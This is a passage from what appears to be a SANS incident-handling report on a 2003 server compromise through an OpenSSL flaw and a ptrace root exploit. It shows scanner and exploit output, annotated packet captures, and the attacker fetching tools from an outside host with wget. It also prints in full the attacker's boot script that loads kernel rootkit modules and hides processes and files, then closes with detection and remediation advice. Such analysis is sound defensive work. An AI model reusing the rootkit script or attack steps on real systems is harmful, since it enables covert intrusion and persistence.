-[-] Unable to stat myself
root
/bin/sh
[-] Unable to spawn shell
-[-] Unable to fork
Executing “pp” gives the results shown in Figure 6. I manually added the “id” commands to show that it does indeed spawn a root shell.

**Figure 10: Results of executing the pp tool**

```
my_machine> id
uid=1033(hlarrieu) gid=101(ccc)
my_machine> ./pp
sh-2.05a#
sh-2.05a#
sh-2.05a# id
uid=0(root) gid=0(root)
groups=0(root),406(dxoffice),1(other),2(bin),3(sys),4(adm),6(mail),10(wheel)
sh-2.05a# exit
exit
my_machine>
```

**Description and Diagram of the Attack**
The timeline presented in the introduction above provides the detailed description of the attack as it occurred. This section will provide an attack overview and recap some of the details and provide some supplementary information such as log entries and examples of running the tools.

**Figure 11: Attack Step 1**

The first step in the attack was to determine potentially vulnerable hosts using the scan tool contained in the attack bundle. The scan tool contained in the c.tgz bundle was called ssl3. This appears to be the same tool as is included in the openssl-too-open.tgz bundle.
Figure 12: Sample scan using bundle tool called "ssl3"

```
my_machine> ./ssl3
: openssl-scanner : OpenSSL vulnerability scanner
by Solar Eclipse <solareclipse@phreedom.org>

Usage: ./ssl3 [options] <host>
-i <inputfile> file with target hosts
-o <outputfile> output log
-a append to output log (requires -o)
-b check for big endian servers
-C scan the entire class C network the host belogs to
-d debug mode
-w N connection timeout in seconds

Examples: ./ssl3 -d 192.168.0.1
        ./ssl3 -i hosts -o my.log -w 5

my_machine> ./ssl3 -i hosts -o mylog -d -w 2
: openssl-scanner : OpenSSL vulnerability scanner
by Solar Eclipse <solareclipse@phreedom.org>

Debug level 1
Reading hosts from input file hosts
2 hosts read from file
Logging to mylog
Scanning 2 hosts, connection timeout is 2 seconds
Opening 2 connections . . . done
Waiting for all connections to finish . . . done
```

The site packet header logging facility captured the scan activity related to the attack. The basic scan pattern indicates an attacker searching the entire IP space for vulnerable SSL services.

Figure 13: Excerpt of network capture of headers showing scan traffic

```
02:14:42.926283 10.10.130.26.40568 > 192.168.0.4.443: 8 794762672:794762672(0) win 5840
<mss 1460,sackOK,timestamp 110532883[|tcp]>(DF)
02:14:42.926283 10.10.130.26.40569 > 192.168.0.5.443: 8 788158802:788158802(0) win 5840
<mss 1460,sackOK,timestamp 110532883[|tcp]>(DF)
02:14:42.926283 10.10.130.26.40571 > 192.168.0.7.443: 8 795701903:795701903(0) win 5840
<mss 1460,sackOK,timestamp 110532883[|tcp]>(DF)
```

For the servers determined to be running the SSL service the following was a typical traffic exchange for non-vulnerable servers.
When the scanning indicated that a remote host was vulnerable to the attack; the next step was to run the exploit tool to gain access to the remote machine. See Figure 6 for an example of running the exploit tool.

Once the machine was determined to be vulnerable, the network scans pick up the actual exploit as indicated in Figure 14.

**Figure 14: Annotated header traffic captured showing the actual exploit traffic**

<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Port</th>
<th>Protocol</th>
<th>Source Port</th>
<th>Destination Port</th>
<th>Flags</th>
<th>Sequence Number</th>
<th>Acknowledgment Number</th>
<th>Window Size</th>
<th>Timestamp</th>
</tr>
</thead>
</table>
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

02:18:54.986283 10.10.130.26.49920 > 192.168.34.19.443: S 1040625883:1040625883(0) win
5840 < mss 1460,ackOK,timestamp 110558086[|tcp] > (DF)
29
02:19:03.036283 192.168.34.19.1036:1036(35) ack 1071 win 7245
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.046283 192.168.34.19.1036:1036(1035) ack 1071 win 7245
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.056283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.066283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.076283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.086283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.096283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.106283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.116283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.126283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.136283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.146283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.156283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.166283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.176283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.186283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.196283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
02:19:03.206283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
********** Cleanup all the old connections (except the successful exploit)
02:19:03.216283 192.168.34.19.1036:1036(1035) ack 256 win 6432
<nop,nop,timestamp 110558808 21378698> (DF)
31

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Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

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02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49920: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49919: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49918: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49917: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49916: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49915: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49914: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49913: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49912: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49911: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49910: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49909: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49908: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49907: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49906: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49905: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49904: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49903: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49902: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49901: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49900: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49999: P 1044:1048(4) ack 603 win 7504 <nop,nop,timestamp 21378777 110559131> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49998: P 1032:998(395) ack 603 win 7245 <nop,nop,timestamp 110559332 21378778> (DF)
02:19:05.436283 192.168.34.19.443 > 10.10.130.26.49997: P 1049:1094(45) ack 998 win 8576 <nop,nop,timestamp 21378979 110559332> (DF)
02:20:37.756283 192.168.34.19.443 > 10.10.130.26.49259: F 1:1(0) ack 1 win 5792 <nop,nop,timestamp 21388009 110538217> (DF)

********** The server responds to the attacker's last input with a packet starting
********** with "Ev"

********** More input from the attacker, payload is "ex"

********** Reply to last command
********** 1) \n********** 2) [SPACE]>
********** 3) \n
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Figure 16: Attack Step 3

**STEP 3:** Using the shell access granted by the exploit tool, download tools to the compromised machine

At this point in the attack, J0K3r was able to utilize the shell resulting from the successful exploit to get further exploit and attack tools from the tool archive host. The tool archive was a GeoCities site called [www.caponesworld.org](http://www.caponesworld.org) in this attack.

Figure 17: Annotated traffic headers for J0k3r getting tools

```plaintext
********** More inputs from the attacker. The timing would seem to indicate that
********** this is definitely manual interaction with a human attacker from this point on
********** These commands start with "un", "cd" and "wg", which probably translate to:
**********   1) un   (unzip, uncompress, uname, unshar?)
**********   2) cd   (cd /var/tmp, based on subsequent actions and pathnames)
**********   3) wget   (fetching his tools)
<nop,nop,timestamp 114401551 25220638> (DF)
<nop,nop,timestamp 114402075 25221510> (DF)
<nop,nop,timestamp 114402305 25222029> (DF)
********** More responses, most likely the command output from wget.
********** The payloads are:
**********   1) --
**********   2) Co
**********   3) co
**********   4) HT
**********   5) 20
```
This matches up very well with the format of wget's output:

```bash
machine > wget http://www.place.org/
--10:31:22--  http://www.place.org/
  Resolving www.place.org... done.
Connecting to www.place.org[192.168.34.117]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,603 [text/html]
100%[====================================>] 10,603  10.11M/s  ETA 00:00
10:31:22 (10.11 MB/s) - `index.html' saved [10603/10603]
```

This is all well and good, but the additional fact that this command seems to initiate an HTTP download from a third-party host really clinches the conclusion.

Here's the traffic from web7 to GeoCities as the attacker downloaded his first set of tools. We're missing some packets here, but judging from the sequence numbers, this tool can be no larger than 20,019 bytes (which also counts the HTTP header, but we don't know exactly how long it was). The closest match I found in the hacker tool archive was "pp", a ptrace exploit whose size is 19,514 bytes. Also, the output features lots of ":[-" strings consistent with the output fragments we see below.

If this is that too, and I think it is, the file generated is /var/tmp/pp" (info from Autopsy's file timeline)

```
```
********** 7) .
********** 8) ..
********** 9) .
********** 10) .
********** 11) [SPACE].
********** 12) .
********** 13) .
********** 14) .
********** 15) [SPACE].
********** 16) .
********** 17) [SPACE]
********** 18) ..
********** 19) [SPACE]
********** 20) ..
<nop,nop,timestamp 25223773 114403818> (DF)
12:59:55.480970 66.218.79.154.http > 192.168.34.19.443: S 1939575981:1939575981(0) ack 3290554103 win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp> (DF)
12:59:55.550970 192.168.34.19.443 > 10.10.130.26.50688: P 1897:1898(1) ack 1089 win 8576 
<nop,nop,timestamp 25223814 114403858> (DF)
<nop,nop,timestamp 25223857 114403899> (DF)
<nop,nop,timestamp 25223892 114403937> (DF)
<nop,nop,timestamp 25223927 114403973> (DF)
<nop,nop,timestamp 25223927 114403973> (DF)
12:59:55.970970 192.168.34.19.443 > 10.10.130.26.50688: P 2148:2260(112) ack 1089 win 8576 <nop,nop,timestamp 25223930 114403976> (DF)

********** Here's the third-party traffic from the wget command.
********** Again, including the HTTP header, this tool can't be
********** any larger than 183,421 bytes.
********** Based on the files we actually see being created on the
********** hard drive, we believe this to be the /var/tmp/j0k3r.tgz file.
********** The downloaded file size doesn't seem to quite match up with
********** the version we found in the hacker tools archive at this
********** IP address, but this is probably a slightly different (older)
********** version than what's in the archive. This speculation is supported
********** by the facts that the tools in the tgz file match very well with
********** the tools we found on the system.
After the J0k3r retrieved and ran his local exploit tool, pp, the machine was wholly owned. Unfortunately for him, the backdoor listeners he started were blocked by the firewall. His solution was then to retrieve the SuckIT binary from the tool archive that would give him a “shoveled” shell. The installation of this LKM on top of the Adore already installed destabilized the system, rendering further action infeasible. M attack details are available in the timeline presented in the introduction to this section.

**Signature of the Attack**

The signs that indicated to us that the attack had occurred included an IDS alert and an alert system administrator who noted that thing just “weren’t quite right” on the machine. From these initial indications, we were able to determine some specific signatures that characterized this attack.

In addition to the network signatures shown in the previous section, the web server logs on the compromised host show the entries indicated in Figure 18, clearly indicating SSL issues.

**Figure 18: Sample log file errors**

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Error Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>[03/Jun/2003 22:17:58 06234]</td>
<td>[error] SSL handshake failed (server 192.168.34.19:443, client 10.10.130.26) (OpenSSL library error follows)</td>
<td></td>
</tr>
<tr>
<td>[03/Jun/2003 22:19:32 05536]</td>
<td>[error] SSL handshake timed out (client 10.10.130.26, server 192.168.34.19:443)</td>
<td></td>
</tr>
<tr>
<td>[04/Jun/2003 08:58:15 07262]</td>
<td>[error] SSL handshake failed (server 192.168.34.19:443, client 10.10.130.26) (OpenSSL library error follows)</td>
<td></td>
</tr>
<tr>
<td>[04/Jun/2003 08:58:15 07262]</td>
<td>[error] OpenSSL: error:0406506C:rsa routines:RSA_EAY_PRIVATE_DECRYPT data greater than mod len</td>
<td></td>
</tr>
</tbody>
</table>
Also, snort reported an “id check returned root” event to the console clearly showing the results of an id check on a port that should only ever contain encrypted data.

Unfortunately, there really is no specific signature for the ptrace attack that is easy to detect or consistent enough to provide a rule. It might be possible to watch for source code resembling the known example exploit code, but I suspect it would be rare for the attacker to download and compile the source.

**How to Protect against the Attack**

There are a variety of ways to protect machines against the remote OpenSSL attack, but the best by far is to upgrade to the latest version of the library. Also, if that option is not available immediately, the SSLv2 protocol support can be disabled on the web server by commenting out the SSLv2 option from the SSLCipherSuite line in the httpd.conf file.

In addition to the actions that can be taken by the site or system owners, the source code for OpenSSL was patched to correct this problem. The source distribution could also easily have disabled the SSLv2 handshake in favor of the more recent protocols also supported in the code. If a system owner needed the earlier protocol support, they would have had to enable it explicitly. Finally, the code review process undertaken by the code’s programmer should be improved to ensure that all user inputs are checked before being accepted.

To protect the machine against the ptrace vulnerability, again the best option is to upgrade. If that is not possible other solutions include compiling a monolithic kernel that does not make use of dynamically loadable modules. Other suggestions Alan Cox posted at [http://www.securitybugware.org/Linux/6072](http://www.securitybugware.org/Linux/6072) include disabling modules, installing a module that will block ptrace calls, or removing the modprobe entry. In the case of this attack, it would have been sufficient to ensure that the SSL vulnerability was patched so that J0k3r would never have had local access in the first place!

Some other links to patches and fixes:

**OpenSSL:**
- [http://www.openssl.org/news/patch_20020730_0_9_6d.txt](http://www.openssl.org/news/patch_20020730_0_9_6d.txt)

**Ptrace:**
Part 3: The Incident Handling Process

Introduction

The incident in question took place at GIAC Research Institute, a non-profit basic science research center. The Institute has a very small security staff consisting of two full time employees and an “as-needed” commitment from a site system administrator. A few months prior to the incident, two of those staff members attended the SANS Incident Handling and Hacker Techniques course, and came back with the intention of improving the incident handling capability of the Institute. Prior to the training, the focus of the team was more on prevention than on any specific process for incident handling. This incident conveniently provided the opportunity to highlight to management the importance of specific computer security training, and the need and benefit of having designated incident handlers and an incident-handling program in place.

Preparation

The Institute generally maintains a “default deny” security posture; meaning that remote access to site machines must be explicitly defined or it is not allowed to pass the perimeter. This posture was probably the most significant element in minimizing the impact of the attack as it limited the hacker’s access to the machine. In addition to the perimeter protections, there were a whole series of other supporting elements that should have helped to prevent the incident. All Institute machines that provide centrally supported services, e.g. web service, remote access, or mail, have a standard automated build procedure. The build procedure includes a script that applies relevant security patches, and installs the cfengine configuration management tool. The autorpm process is used to maintain most of the patches on the site machines. Also, approximately once a month on a regularly scheduled maintenance period, all externally accessible machines are comprehensively scanned with the Nessus vulnerability scanner. Unfortunately, the interval between this machines build and the attack did not include a maintenance period. Also, we have a scan detection system that should automatically block addresses determined to be scanning the site network. Unfortunately, several of these elements were not operating correctly at the time of the attack.

The incident-handling procedures at the time were also in a state of flux. The entire process was being reevaluated and documentation describing the process, procedures, team members, and roles was actively being drafted. Prior to the push to improve the incident-handling capability on site, incident-handling guidance was included as a two-page section in the approved security program plan that is the basis document for the entire security program on site. This document is reviewed every two years and signed off by site management. The very limited section concerning incident handling at the time is included in the table below.
Incident, Warning, and Advisory Response

A. Incident Response

All anomalous events reported by the intrusion-detection system are sent to a security-monitors mail list and the electronic logbook, with critical alerts sent to selected pagers for immediate investigation. Most routine events, such as network scans, identification of suspicious files, and connections that are flagged by the network-intrusion detector as suspicious are handled during routine working hours. Excessive scanning by a single host results in either manual or automatic blocking of the host at the firewall. Scanning activity is not routinely reported to the cert unless it is intensive or persistent. In the future, it will be incorporated in an automatic reporting function.

Intrusions are dealt with as quickly as possible. The first priority is the local containment of the intrusion. If a root compromise is not involved, the user’s account is disabled for all central machines. If a user’s desktop machine is involved, it is removed from the network. If a root compromise occurs on a central machine, it is removed from the network until an evaluation of the extent of the intrusion is complete. Investigation of all intrusions involves determining what machines the intruder is originating from, extraction of all the records of traffic to and from those machines from the IDS raw traffic files, and reconstruction of the intruder’s activities. This is not always successful, but usually yields sufficient information to circumscribe the event.

Intrusions are reported to the cert, and to our CIO. Root compromises and activities that involve other Institute sites are reported immediately. Less serious intrusions, like the establishment of an IRC robot through the use of a user’s compromised password, are summarized and reported at the time of closure, usually within a working day. Escalation and involvement of non-Institute agencies is left to the discretion of the cert.

For less serious, but obviously unauthorized activities involving non-Institute sites, an assessment is made as to whether contacting the nominal administrator of the site is likely to be beneficial. Typically, academic and small commercial operations respond effectively and large Internet server providers do not. The cost-benefit profile means that the former agencies are contacted, whereas the last usually are not.

B. Warning and Advisory Response

Two mailing lists are established for local distribution of Advisory and Warning notices from the cert. Routine communications are sent to cert_bulletin. These
are reviewed by security staff members in the normal course of daily operations. Emergency communications are sent to cert_emergency. These messages invoke a page to the duty on-call person, who is available 24 hours a day to respond to trouble calls. In addition, emergency communications go to the pager of the Security Manager. The emergency alerts are evaluated immediately for impact on local operations. Procedures require that the cert be notified within 30 minutes that a human has received the emergency message. These alerts are also automatically logged and distributed to members of the security monitoring team.

If immediate action is needed it is handled by the on-call system administrator, either directly or by contacting an individual who can perform the task. Less critical actions are deferred to the next working day. In either case, when corrective action is needed, an entry is made in the Problem Reporting system to ensure that an individual is designated as responsible, that all appropriate measures are complete, and that the incident is logged.

The daily tasks of the security team include a detailed reading of the Bugtraq digest and other notice and alert sources and determining whether the reported vulnerabilities apply to our systems. Information that is critical to secure operations is sent in whole or in part to appropriate local mailing lists. These lists include administrators for web pages and to those responsible for managing NT, Sun, HP, AIX, and Linux systems. The traffic on these lists is limited specifically to security related information in order to reduce the noise level and emphasize the importance of the disseminated information.

C. Incident Response Team Composition

The security team currently includes two full time staff members who work coordinate with eleven people who are, to different degrees, responsible for central system administration, the central help desk, and computer security. A subset of these individuals stands a week of rotating "on call" duty and during that time is the first contact for round-the-clock troubleshooting of our operational systems. This task is supported by a dedicated pager and cell phone. Critical security alerts, including critical notices from the cert, are forwarded immediately to the Security Manager's pager and to the on-call pager, providing 24-by-7-response capability.

The draft documents for the improved policy and procedures had begun to address specific team composition, logbook use, chain of custody issues, etc., however, none had yet been reviewed or approved. The one thing that was very clear was that for most computer security incidents, the focus was to be on repairing and returning systems to service, not on prosecuting perpetrators.
Identification

The initial indicators were ntp problems noticed by the administrator. In his investigation of the ntp problems, he determined that the system build had failed. The most significant indication to him was that the kernel version reported as running was not consistent with the version he expected after the build completed. Once he determined the failure, he was able to bring up the web content accessed using the same IP address on a totally different machine. He reported the problem to the computer security staff first thing the next morning at an 8:00 a.m. group meeting. He did not know that the machine had been compromised at the time, all he knew was that it was behaving badly, and that it had been exposed to the Internet for a few days without being patched. Based on his information, an explicit search for the machines IP address was made in the IDS console, ACID. This produced the “Id check returned root” alert, which had occurred at 1:05 p.m. the previous afternoon, and was quickly determined to be a true indicator, as the successful id check occurred on port 443 which should only have encrypted traffic. At this point our nascent incident handling team was activated to deal with the problem. The first steps were to formally assemble the team, interview the system administrator for details about the state and condition of the machine, and assign the investigative tasks and roles.

As I indicated earlier, there was no motivation for maintaining any formal “chain of custody” procedures for this incident, as the management directive that the team was working under was “repair and restore.” We did, however, attempt to exercise some best practices so that this could serve as a basis for exploring improvements to the local incident handling capability. To that end, we did an analysis of the system using the Autopsy tool. The results from that analysis proved crucial to our understanding of the events that occurred and allowed us to understand the full extent of the compromise. These results, some of which are presented in the figure below, combined with the timeout snippet from the firewall logs, the preserved web logs, and the network captures shown in the previous section detailing the attack, allowed the incident handling team to construct the attack timeline. All of this information conclusively identified the nature of this attack.

Figure 19: Annotated File System Changes Timeline

```plaintext
##### This is the file system activity time line as generated by Autopsy
##### The last time the file was touched in a unique way
##### (i.e. modified, accessed, or changed) was recorded.
##### This event correlates to the attackers second exercise of the exploit -- the log
##### entry in ssl_engine.log is
##### [04/Jun/2003 08:58:15 07262] [error] OpenSSL: error:1406B0CE:SSL
##### routines:GET_CLIENT_MASTER_KEY:problems mapping cipher functions
##### NOTE: one of the reasons this machine was examined by the sysadmin because of ntp
##### issues (system and network time differ by 1 day 1 min and 6 sec
##### I corrected for the day
Thu Jun 05 2003 12:58:15     6716 m.c -/-rw-r--r-- root     root     16022
/var/log/httpd/coda/ssl_engine.log
```
It looks like he downloaded a file called j0k3r.tgz into /var/tmp. The file size is 216054.
It looks like the attacker extracted j0k3r.tgz; creating /var/tmp/j0k3r in the gap that is not seen.

The install script extracts files into /dev/rd/cdb directory, we see attack tools placed there at this time.

Slice2 - executable DoS tool
wipe - executable cleans utmp/wtmp/lastlog
vadim-derivative - executable DoS tool
stealth-derivative - executable DoS tool
stringwiper - script cleans up /var/log/* files
Slice v2 - executable DoS tool
Slice - executable DoS tool
(papa)smurf.c v5.0 - executable Smurf attack tool

The activity in this second reflects the addition of S90rpcmap script file to run levels 2, 3, 4, 5. a reference to ptrace.h, and the first note for the hacker's directory/usr/lib/.fx
This seems to be behavior consistent with the adore LKM which may also have been contained in the j0k3r.tgz.

Here is the script S90rpcmap

#!/bin/sh
cd /usr/lib/.fx
./cons.saver
./cons.saver -p 20

43
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cd /dev/rd/cdb
##### aa.o is a derivative of adore LKM but maybe called ReAs0
/sbin/insmod aa.o > /dev/null 2>&1
/sbin/insmod cc.o > /dev/null 2>&1
/sbin/insmod cc > /dev/null 2>&1
##### cc.o looks to be a file cleaner?
/sbin/insmod cc.o > /dev/null 2>&1
/sbin/rmmod cc > /dev/null 2>&1
/#bin/zz is adore controller file (i=invisible, h=hide,
/bin/zz i cat /usr/lib/fx/set_pid.2 > /dev/null 2>&1
/bin/zz h . > /dev/null 2>&1
/bin/zz h /bin/zz > /dev/null 2>&1
/bin/zz h /usr/lib/fx > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/aa.o > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/cc.o > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/bc > /dev/null 2>&1
/bin/zz h /dev/ptyxx/.addr > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/S > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/b > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/aa.o > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/cc.o > /dev/null 2>&1
/bin/zz h /dev/rd/cdb/bc > /dev/null 2>&1
/bin/zz h /var/local/lp/lpd > /dev/null 2>&1
/bin/zz h /var/local/lp/lpd > /dev/null 2>&1
/bin/zz h /var/local/lp/lpd > /dev/null 2>&1
/bin/zz h /usr/lib/fx/cons.saver > /dev/null 2>&1
/bin/zz h /usr/lib/fx/random_d.2 > /dev/null 2>&1
/bin/zz h /usr/lib/fx/random_d.2 > /dev/null 2>&1
PID="`cat /usr/lib/fx/setrgrp.2`" ;
/bin/zz i $PID > /dev/null 2>&1 ;
/bin/zz h /usr/lib/fx/setrgrp.2 > /dev/null 2>&1
if [ -x /dev/j0k3r ]
then /bin/zz h /dev/j0k3r > /dev/null 2>&1 ;
/bin/zz h /dev/j0k3r/j0k3r > /dev/null 2>&1 ;
/.j0k3r > /dev/null 2>&1 ;
else echo "Not Here!" > /dev/null 2>&1 ;
fi
if [ -x /dev/rd/cdb/bc ]
then cd /dev/rd/cdb/bc ;
/uptime > /dev/null 2>&1 ;
PID="`cat /dev/rd/cdb/bc/psybnc.pid`" ;
/bin/zz i $PID > /dev/null 2>&1 ;
/bin/zz h /dev/rd/cdb/bc > /dev/null 2>&1 ;
else echo "Not Here!" > /dev/null 2>&1 ;
fi
if [ -x /dev/rd/cdb/muh ]
then cd /dev/rd/cdb/muh ;
/.muh > /dev/null 2>&1 ;
PIDI="`cat /dev/rd/cdb/muh/pid`" ;
/bin/zz i $PID > /dev/null 2>&1 ;
/bin/zz h /dev/rd/cdb/muh > /dev/null 2>&1 ;
else echo "Not Here!" > /dev/null 2>&1 ;
fi
if [ -x /dev/rd/cdb/.egg ]
then cd /dev/rd/cdb/.egg ;
NUME_EGG=`ls -a | grep 'pid' | sed 's/pid.//'` ;
echo "$NUME_EGG"
/eggdrop $NUME_EGG > /dev/null 2>&1 ;
PIDI="`cat /dev/rd/cdb/.egg/pid.$NUME_EGG`" ;
echo "$PIDI" ;
/bin/zz i $PIDI > /dev/null 2>&1 ;
/bin/zz h /dev/rd/cdb/.egg > /dev/null 2>&1
else echo "Not Here!" > /dev/null 2>&1
fi
for i in {2,3,4,5}
do
/bin/zz h /etc/rc.d/rc$i.d/S90rpcmap > /dev/null 2>&1
done

##### END SCRIPT
<table>
<thead>
<tr>
<th>File Path</th>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/include/linux/vfs.h</td>
<td>10125 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224479</td>
</tr>
<tr>
<td>/usr/include/linux/capability.h</td>
<td>0 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>111826</td>
</tr>
<tr>
<td>/usr/include/asm/ptrace.h</td>
<td>1282 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>240366</td>
</tr>
<tr>
<td>/etc/rc.d/rc4.d/S90rpcmap</td>
<td>2628 ma. -rwxr-xr-</td>
<td>root</td>
<td>root</td>
<td>209975</td>
</tr>
<tr>
<td>/etc/rc.d/rc5.d/S90rpcmap</td>
<td>2628 ma. -rwxr-xr-</td>
<td>root</td>
<td>root</td>
<td>210180</td>
</tr>
<tr>
<td>/usr/include/linux/stat.h</td>
<td>1306 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224848</td>
</tr>
<tr>
<td>/usr/include/linux/nfs_fs_i.h</td>
<td>277 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>240384</td>
</tr>
<tr>
<td>/usr/include/xemacs/xemacs-packages/etc/ediff/bnsl.so.1__ (deleted-realloc)</td>
<td>53165 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224552</td>
</tr>
<tr>
<td>/usr/include/linux/fs.h</td>
<td>4096 m.c ddrwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>208070</td>
</tr>
<tr>
<td>/etc/rc.d/rc4.d</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td># Activity in t related to a compilation. Pared for brevity</td>
<td>Thu Jun 05 2003 13:00:07</td>
<td>5826 .a. -rw-r--r--</td>
<td>root</td>
<td>224709</td>
</tr>
<tr>
<td>/usr/include/linux/nccp.h</td>
<td>2100 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224733</td>
</tr>
<tr>
<td>/usr/include/linux/nfs_fs_i.h</td>
<td>1751 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>224892</td>
</tr>
<tr>
<td>/usr/include/bits/ioctl.h</td>
<td>10685 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>48286</td>
</tr>
<tr>
<td>/usr/include/bits/sigthread.h</td>
<td>1558 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>496407</td>
</tr>
<tr>
<td>/usr/include/sys/cdefs.h</td>
<td>6939 .a. -rw-r--r--</td>
<td>root</td>
<td>root</td>
<td>50734</td>
</tr>
<tr>
<td>/usr/include/sys/ttydefaults.h</td>
<td>3568 .a. -rw-r--r--</td>
